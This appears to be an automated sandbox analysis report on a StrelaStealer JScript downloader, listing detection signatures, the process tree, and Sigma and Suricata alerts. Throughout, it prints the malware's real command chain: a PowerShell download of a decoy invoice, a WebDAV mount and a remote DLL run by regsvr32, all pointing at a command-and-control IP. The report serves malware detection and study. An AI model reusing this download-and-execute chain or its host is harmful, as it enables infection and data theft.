Edit tour

Windows Analysis Report
1327128311804210730.js

Overview

General Information

Sample name:	1327128311804210730.js
Analysis ID:	1588527
MD5:	9b10a8c16f6fef32c515b91ba3e2488f
SHA1:	6827ebbe629d25783287280fda6be8972c3558b2
SHA256:	e617e86198911e74674bf87026f1ea89dc8d8956397d3132023e39968295d2b2
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2008 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1012 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4584 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2496 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5076 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7312 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1588,i,4786453068424789189,2420547936523425824,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2008 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4592 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7200 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2008	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4584, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4584, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ProcessId: 2008, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4592, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ProcessId: 1012, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ProcessId: 1012, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ProcessId: 1012, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ProcessId: 1012, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ProcessId: 1012, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ProcessId: 2008, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1012, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4584, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2008, ParentProcessName: wscript.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4592, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7200, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2008, ParentProcessName: wscript.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4592, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1327128311804210730.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2008, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28615241002142.dll, ProcessId: 1012, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:24.596358+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:27.319710+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:05:24.596358+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1327128311804210730.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1327128311804210730.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:05:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
